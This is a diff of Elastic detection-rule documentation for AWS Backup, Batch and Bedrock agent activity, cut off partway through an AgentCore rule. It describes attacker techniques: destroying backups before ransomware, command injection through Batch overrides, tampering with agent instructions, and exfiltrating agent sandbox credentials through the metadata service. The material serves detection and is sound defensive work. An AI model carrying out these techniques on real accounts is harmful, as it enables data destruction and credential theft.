Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Backup +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Backup + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Backup Recovery Point Deleted* + + +AWS Backup recovery points are the restorable copies of protected resources. "DeleteRecoveryPoint" permanently removes a recovery point from its vault, eliminating the ability to restore that backup. Adversaries delete recovery points to inhibit recovery after data destruction or encryption, maximizing the impact of ransomware or sabotage. Because scheduled expirations are carried out by the AWS Backup service itself (excluded by this rule), a deletion by a user or role principal is uncommon and high-signal, especially when several recovery points are removed in a short window. + + +*Possible investigation steps* + + +- Identify the actor in "aws.cloudtrail.user_identity.arn" and "aws.cloudtrail.user_identity.type", and review "source.ip", "source.as.organization.name", and "user_agent.original" for an unexpected origin. +- Identify the affected recovery point and vault from "aws.cloudtrail.request_parameters", and determine which resource and data it protected. +- Determine whether multiple recovery points or vaults were affected in the same window, indicating a broader anti-recovery effort. +- Correlate with adjacent destructive or evasion activity by the same principal, such as DeleteBackupVault, Vault Lock removal, KMS key deletion, or resource deletions. + + +*False positive analysis* + + +- Retention cleanup, migration, or decommissioning may delete recovery points. Confirm the deletion is expected and exclude known administration roles on "aws.cloudtrail.user_identity.arn" after validation. + + +*Response and remediation* + + +- If the deletion is unauthorized, treat it as a potential precursor to or part of a destructive attack: preserve remaining backups, enable Vault Lock where possible, and engage incident response. +- Rotate or restrict credentials for the principal if compromise is suspected, and restrict "backup:DeleteRecoveryPoint" to a small set of trusted administrators via IAM and SCPs. + + +*Additional information* + + +- https://docs.aws.amazon.com/aws-backup/latest/devguide/API_DeleteRecoveryPoint.html[DeleteRecoveryPoint API] +- https://docs.aws.amazon.com/aws-backup/latest/devguide/vault-lock.html[AWS Backup Vault Lock] + + +==== Setup + + +This rule requires AWS CloudTrail management events for AWS Backup and ingestion via the Elastic AWS CloudTrail integration. See https://docs.elastic.co/integrations/aws/cloudtrail. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "backup.amazonaws.com" + and event.action: "DeleteRecoveryPoint" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-resource-enumeration-via-long-term-access-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-resource-enumeration-via-long-term-access-key.asciidoc new file mode 100644 index 0000000000..0a92492784 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-resource-enumeration-via-long-term-access-key.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-aws-backup-resource-enumeration-via-long-term-access-key]] +=== AWS Backup Resource Enumeration via Long-Term Access Key + +Detects enumeration of AWS Backup resources using long-term IAM access keys (AKIA* prefix). AWS Backup protects EC2 instances, EBS volumes, RDS databases, DynamoDB tables, EFS file systems, and S3 buckets. An adversary who obtains long-term access keys may enumerate backup vaults, backup plans, and protected resources as a precursor to ransomware. Identifying which resources have recent backups (indicating high-value data) and what vault access policies can be modified to delete or corrupt the backups before encrypting the primary data. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/aws-backup/latest/devguide/API_ListBackupVaults.html +* https://hackingthe.cloud/aws/enumeration/enumerate_services_via_aws_backup/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Backup +* Rule Type: Custom Query (KQL) +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Backup Resource Enumeration via Long-Term Access Key* + + +AWS Backup vaults and plans are the last line of recovery for ransomware victims. Adversaries performing ransomware preparation systematically enumerate backup vaults to locate recovery points, assess vault lock configuration, and identify which vaults can be deleted or which backup plans can be disabled before encrypting the primary data stores. + +Long-term access keys (AKIA* prefix) are the most commonly exfiltrated credential type, appearing in source code, .env files, and CI/CD configurations. Their use for backup enumeration is particularly suspicious because backup management is almost never performed by individual IAM users with static keys in modern environments. + + +*Possible investigation steps* + + +- Identify the IAM user from aws.cloudtrail.user_identity.arn and confirm whether this user should have backup management access. +- Review source.ip and source.as.organization.name against known infrastructure. Backup enumeration from an unexpected IP with a long-term key is a high-risk indicator. +- Query for subsequent backup write operations by this key: DeleteBackupVault, DeleteRecoveryPoint, DeleteBackupPlan, UpdateRegionSettings. +- Correlate with other enumeration activity from the same access key: EC2 Describe calls, S3 ListBuckets, RDS DescribeDBInstances — broad enumeration suggests ransomware reconnaissance. +- Determine whether Vault Lock is enabled on critical backup vaults (GetBackupVaultLockConfiguration). + + +*Response and remediation* + + +- Immediately deactivate the long-term access key. +- Enable Vault Lock (WORM) on critical backup vaults to prevent deletion for a compliance period. +- Review all backup vault access policies for unauthorized modifications. +- Enable AWS Backup audit manager reports to detect future unauthorized backup modifications. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. AWS Backup management events are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "backup.amazonaws.com" + and event.action: ( + "ListBackupVaults" or + "ListBackupJobs" or + "ListBackupPlans" or + "ListProtectedResources" or + "ListRecoveryPointsByBackupVault" or + "GetBackupPlan" or + "GetBackupVaultAccessPolicy" or + "DescribeBackupJob" or + "DescribeRecoveryPoint" + ) + and event.outcome: "success" + and aws.cloudtrail.user_identity.access_key_id: AKIA* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-vault-deleted-or-vault-lock-removed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-vault-deleted-or-vault-lock-removed.asciidoc new file mode 100644 index 0000000000..f5ce5a069e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-backup-vault-deleted-or-vault-lock-removed.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-aws-backup-vault-deleted-or-vault-lock-removed]] +=== AWS Backup Vault Deleted or Vault Lock Removed + +Identifies deletion of an AWS Backup vault or removal of its Vault Lock configuration via DeleteBackupVault or DeleteBackupVaultLockConfiguration. A backup vault stores recovery points, and Vault Lock enforces WORM (write-once, read-many) immutability that prevents recovery points from being deleted before their retention expires. Removing the lock defeats the primary control designed to stop ransomware from destroying backups, and deleting the vault removes the backup container entirely. Both actions are strong anti-recovery signals and are rare in normal operations. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/aws-backup/latest/devguide/vault-lock.html +* https://docs.aws.amazon.com/aws-backup/latest/devguide/API_DeleteBackupVault.html +* https://docs.aws.amazon.com/aws-backup/latest/devguide/API_DeleteBackupVaultLockConfiguration.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Backup +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Backup + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Backup Vault Deleted or Vault Lock Removed* + + +A backup vault is the container for AWS Backup recovery points, and Vault Lock applies immutability so recovery points cannot be deleted or shortened before retention expires. "DeleteBackupVaultLockConfiguration" removes that immutability (for governance-mode locks), and "DeleteBackupVault" deletes the vault itself. Adversaries remove the lock to enable subsequent deletion of otherwise-immutable recovery points, or delete the vault to destroy backups outright. These are high-impact, rare operations and should be deliberate and tightly controlled. + + +*Possible investigation steps* + + +- Identify the actor in "aws.cloudtrail.user_identity.arn" and "aws.cloudtrail.user_identity.type", and review "source.ip", "source.as.organization.name", and "user_agent.original" for an unexpected origin. +- Determine the affected vault from "aws.cloudtrail.request_parameters" and whether it held recovery points. +- For lock removal, check whether DeleteRecoveryPoint or DeleteBackupVault followed shortly after, indicating a staged anti-recovery sequence. +- Correlate with other destructive or evasion activity by the same principal (KMS key deletion, resource deletions, logging changes). + + +*False positive analysis* + + +- Decommissioning of empty vaults or planned governance changes may match. Confirm the change is expected and exclude known administration roles on "aws.cloudtrail.user_identity.arn" after validation. + + +*Response and remediation* + + +- If unauthorized, treat as a likely precursor to backup destruction: preserve remaining recovery points, re-apply Vault Lock (in compliance mode where appropriate), and engage incident response. +- Rotate or restrict credentials for the principal if compromise is suspected, and restrict "backup:DeleteBackupVault" and "backup:DeleteBackupVaultLockConfiguration" to break-glass roles via IAM and SCPs. + + +*Additional information* + + +- https://docs.aws.amazon.com/aws-backup/latest/devguide/vault-lock.html[AWS Backup Vault Lock] +- https://docs.aws.amazon.com/aws-backup/latest/devguide/API_DeleteBackupVault.html[DeleteBackupVault API] +- https://docs.aws.amazon.com/aws-backup/latest/devguide/API_DeleteBackupVaultLockConfiguration.html[DeleteBackupVaultLockConfiguration API] + + +==== Setup + + +This rule requires AWS CloudTrail management events for AWS Backup and ingestion via the Elastic AWS CloudTrail integration. See https://docs.elastic.co/integrations/aws/cloudtrail. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "backup.amazonaws.com" + and event.action: ("DeleteBackupVault" or "DeleteBackupVaultLockConfiguration") + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-batch-job-submitted-with-container-override-by-unusual-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-batch-job-submitted-with-container-override-by-unusual-identity.asciidoc new file mode 100644 index 0000000000..562cdccf00 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-batch-job-submitted-with-container-override-by-unusual-identity.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-aws-batch-job-submitted-with-container-override-by-unusual-identity]] +=== AWS Batch Job Submitted with Container Override by Unusual Identity + +Detects the first time an AWS identity submits an AWS Batch job with a container command override ("containerOverrides.command"), indicating a runtime-modified execution environment. Command overrides allow the submitter to replace the default command of a job definition at submission time. This flexibility is commonly abused by adversaries to inject malicious commands or exfiltration logic into otherwise legitimate Batch compute environments without modifying the underlying job definition — making the malicious activity harder to detect through configuration review alone. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/batch/latest/APIReference/API_SubmitJob.html +* https://docs.aws.amazon.com/batch/latest/APIReference/API_ContainerOverrides.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Batch +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Batch Job Submitted with Container Override by Unusual Identity* + + +This rule fires when an identity submits a Batch job with a container command override and has not been observed doing so in the prior 7 days. Container overrides at submission time bypass job definition review — an adversary can inject a malicious command into an approved job definition without modifying it, making the change invisible to IaC drift detection or configuration compliance tools. + + +*Possible investigation steps* + + +- Identify the submitting principal (`aws.cloudtrail.user_identity.arn`) and determine whether they are expected to use AWS Batch with runtime overrides. +- Review `aws.cloudtrail.request_parameters` to extract the overridden command in `containerOverrides.command` - this is the trigger. Also inspect any environment variables or resource requirements present. Look for shell commands, curl/wget calls, base64-encoded payloads, or references to external endpoints in the command override. +- Identify the job queue and job definition used to understand the compute environment and IAM role the job will execute under. +- Search for `DescribeJobs` events after the submission to track execution status and output. +- Correlate with S3 `GetObject` or `PutObject` events from the Batch execution role during the job's execution window to identify data access or exfiltration. + + +*False positive analysis* + + +- ETL and data processing pipelines that parameterize job commands at submission time. +- CI/CD systems that submit test jobs with dynamic parameters. + + +*Response and remediation* + + +- If unauthorized, cancel the job immediately using `TerminateJob`. +- Review the Batch compute environment's IAM execution role for the scope of data access the job had. +- Restrict `batch:SubmitJob` with `Condition` keys on `batch:Image` and job queue ARNs to prevent arbitrary container override submissions. + + +==== Setup + + +The AWS CloudTrail integration must be enabled and configured to collect Batch management events (`batch.amazonaws.com`). + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "batch.amazonaws.com" + and event.action: "SubmitJob" + and event.outcome: "success" + and aws.cloudtrail.request_parameters: (*containerOverrides* and *command*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc new file mode 100644 index 0000000000..3171dcf2d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-agent-created-by-iam-user-or-root]] +=== AWS Bedrock Agent Created by IAM User or Root + +Identifies AWS Bedrock Agent creation performed directly by an IAM user or the root account. Bedrock Agents are autonomous AI systems that execute multi-step tasks, invoke Lambda action groups to call external APIs, and query knowledge bases. Adversaries with access to an AWS account can create rogue agents configured to exfiltrate data via action group Lambda functions, pivot to other services, or act as a persistent AI-driven command-and-control channel. This rule is scoped to IAMUser and Root identity types — AssumedRole sessions (which represent automated CI/CD pipelines and SSO-federated engineers) are excluded to avoid global false positives from legitimate deployment automation that varies widely across customer environments. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/agents.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_CreateAgent.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Agent Created by IAM User or Root* + + +AWS Bedrock Agents can autonomously perform complex tasks by combining foundation models with action groups +(Lambda functions) and knowledge bases. A rogue agent could serve as a persistent AI-driven foothold, executing +attacker-controlled instructions via inference requests. + + +*Possible investigation steps* + + +- **Identity**: `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`. This rule fires only + for IAMUser or Root — both are direct human credentials, not automated pipeline roles. Confirm the user is + known and authorized to create agents. + +- **Agent configuration** in `aws.cloudtrail.request_parameters`: + - `agentName` — does the name match known internal projects? + - `foundationModel` — which model was selected? Expensive models (Claude Opus-class) indicate higher cost risk. + - `instruction` — the system prompt. Adversarial, minimal, or exfiltration-oriented instructions are a red flag. + - `actionGroupExecutor.lambda` — Lambda ARN presence means the agent can invoke external code. + +- **Cross-account indicators**: Lambda ARNs in action groups belonging to a different account than + `cloud.account.id` indicate external code execution capability. + +- **Follow-on activity**: Look for `PrepareAgent`, `CreateAgentAlias`, `CreateAgentActionGroup`, or + `AssociateAgentKnowledgeBase` from the same identity within the next hour. + + +*False positive analysis* + +- Developers creating agents interactively with personal IAM user credentials. Confirm the agent is for a known + project and the IAM user is authorized. Production agent deployment should use IAM roles — personal key use + is itself a misconfiguration worth noting. + + +*Response and remediation* + +- Delete the unauthorized agent using `DeleteAgent`. +- Review and remove associated action groups and aliases. +- Audit Lambda functions referenced in action group executors for malicious code. +- Restrict `bedrock:CreateAgent` to specific deployment roles via IAM policy or SCP. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: "CreateAgent" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: ("IAMUser" or "Root") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agent-or-action-group-manipulation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agent-or-action-group-manipulation.asciidoc new file mode 100644 index 0000000000..ef6c63a600 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agent-or-action-group-manipulation.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-agent-or-action-group-manipulation]] +=== AWS Bedrock Agent or Action Group Manipulation + +Detects modification of deployed Amazon Bedrock agents and their action groups, collaborators, or aliases via the Bedrock Agent control plane. Adversaries with access to an AWS account can tamper with an existing, trusted agent by altering its instructions (UpdateAgent), adding or changing action groups that wire the agent to Lambda functions or APIs (CreateAgentActionGroup, UpdateAgentActionGroup), attaching or modifying collaborators (AssociateAgentCollaborator, UpdateAgentCollaborator), or repointing an alias to a tampered version (CreateAgentAlias, UpdateAgentAlias). A PrepareAgent call is required to make a tampered configuration live. By implanting malicious behavior into an agent that legitimate users continue to invoke, an attacker can maintain durable access through a trusted component. Creation of brand-new agents (CreateAgent) is intentionally excluded as lower-signal activity. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_UpdateAgent.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_CreateAgentActionGroup.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_PrepareAgent.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Agent or Action Group Manipulation* + + +Amazon Bedrock agents orchestrate foundation models with developer-defined instructions and action groups that connect +the agent to Lambda functions or APIs. Because end users and applications repeatedly invoke deployed agents, an attacker +who modifies an existing agent's instructions, action groups, collaborators, or alias can implant durable malicious +behavior into a trusted component without deploying any new infrastructure. The `PrepareAgent` call makes a tampered +configuration live, and updating an alias repoints traffic to the tampered version. + +This rule identifies changes to existing Bedrock agents while intentionally excluding `CreateAgent`, which represents +net-new resource creation rather than tampering with established, trusted agents. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id` to determine who made the change. + - Inspect `source.ip`, `user_agent.original`, and `aws.cloudtrail.user_identity.invoked_by` to establish whether the + change came from an interactive session, automation, or an unfamiliar location. + - Confirm whether a corresponding change request or deployment exists for the affected agent. +- **Examine the change** + - Review `aws.cloudtrail.request_parameters` and `aws.cloudtrail.flattened.request_parameters` for the targeted agent + ID, action group definition, Lambda ARN, collaborator, or alias routing configuration. + - For `UpdateAgent`, inspect the modified instruction text for prompt-injection or data-exfiltration intent. + - For action group changes, validate the referenced Lambda function or API schema ownership and intent. + - For alias changes, confirm which agent version the alias now points to. +- **Correlate activity** + - Look for a `PrepareAgent` call following configuration changes, which indicates the tampered config was made live. + - Search for surrounding IAM, Lambda, or STS activity from the same identity that could indicate broader compromise. + + +*False positive analysis* + + +- **Planned development and tuning**: Legitimate developers regularly update agent instructions and action groups. + Validate against change tickets and known engineering activity. +- **Automation**: IaC pipelines and deployment tooling may call these APIs on every release. Exempt known automation + roles if they cause recurring false positives. + + +*Response and remediation* + + +- If the change is unauthorized, revert the agent, action group, collaborator, and alias to a known-good version and + re-run `PrepareAgent` to restore trusted behavior. +- Disable or rotate the credentials identified in `aws.cloudtrail.user_identity.access_key_id` if compromise is + suspected. +- Review the affected agent's action group Lambda functions and APIs for malicious code or data flows. +- Restrict `bedrock:UpdateAgent`, `bedrock:*AgentActionGroup`, `bedrock:*AgentCollaborator`, `bedrock:*AgentAlias`, and + `bedrock:PrepareAgent` permissions to a small set of administrative roles. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "UpdateAgent" or + "CreateAgentActionGroup" or + "UpdateAgentActionGroup" or + "AssociateAgentCollaborator" or + "UpdateAgentCollaborator" or + "CreateAgentAlias" or + "UpdateAgentAlias" or + "PrepareAgent" + ) and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc new file mode 100644 index 0000000000..4382e9748e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-execution-role-used-outside-its-runtime.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-agentcore-execution-role-used-outside-its-runtime]] +=== AWS Bedrock AgentCore Execution Role Used Outside Its Runtime + +Identifies an Amazon Bedrock AgentCore execution role (an AssumedRole identity whose role name begins with "AgentCore-" or contains "BedrockAgentCore") making an AWS API call to a service it has not previously called. AgentCore runtimes normally interact only with Bedrock inference, AgentCore data-plane, and observability services (CloudWatch Logs, X-Ray, CloudWatch metrics), so an execution role suddenly calling STS, EC2, IAM, Secrets Manager, or other services is a strong indicator that the role's temporary credentials were exfiltrated from the agent's microVM (for example, via the Code Interpreter instance-metadata-service credential theft) and are being used outside the runtime for reconnaissance, privilege escalation, or lateral movement. Because the stolen credentials are recorded in CloudTrail under the execution role's own identity, the anomalous service usage, not the identity, is the detectable signal. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/ +* https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: New Terms +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Execution Role Used Outside Its Runtime* + + +AgentCore runtime and tool execution roles are assumed by the AgentCore service and normally only call Bedrock inference, AgentCore data-plane, and observability (CloudWatch Logs, X-Ray, CloudWatch metrics) APIs, all of which this rule excludes. Public research has shown the Code Interpreter microVM exposes the execution role's temporary credentials through the instance metadata service (IMDS), and that a string-filter bypass allows exfiltrating them outside the sandbox. Once stolen, the credentials are used to call other AWS services, but those calls are logged in CloudTrail under the execution role's identity rather than the attacker's, creating an attribution gap. This rule flags the first time an AgentCore execution role ("AgentCore-*" or "*BedrockAgentCore*") calls a non-Bedrock service, which is the point at which exfiltrated credentials are put to use. + + +*Possible investigation steps* + + +- Identify the execution role in "aws.cloudtrail.user_identity.session_context.session_issuer.arn" and map it to its AgentCore runtime, gateway, or code interpreter. +- Review "event.provider" and "event.action" for reconnaissance (sts:GetCallerIdentity, ec2:Describe*, iam:List*/Get*), privilege escalation (sts:AssumeRole, iam:Put*/Attach*), or data access, and assess what the role can reach. +- Compare "source.ip", "source.as.organization.name", and "user_agent.original" against the AgentCore service origin; calls from an external network strongly indicate exfiltrated credentials. +- Determine whether the agent design legitimately added this integration, or whether the activity is unexpected for the role. + + +*False positive analysis* + + +- A newly designed agent integration produces a first-time non-Bedrock call for its execution role. Confirm the integration is approved and exclude the role and service after validation. + + +*Response and remediation* + + +- If unauthorized, revoke the execution role's active sessions, rotate any associated secrets, and review every action the role took since the first anomalous call. +- Restrict the execution role to least privilege, prefer VPC network mode for code interpreters, and ensure the metadata service requires session tokens. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. The AgentCore execution-role name prefix may differ in your environment; tune the role-name filter accordingly. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and aws.cloudtrail.user_identity.session_context.session_issuer.arn: (*role/AgentCore-* or *role/*BedrockAgentCore*) + and event.outcome: "success" + and not event.provider: ( + "bedrock.amazonaws.com" or + "bedrock-runtime.amazonaws.com" or + "bedrock-agentcore.amazonaws.com" or + "bedrock-agentcore-control.amazonaws.com" or + "logs.amazonaws.com" or + "xray.amazonaws.com" or + 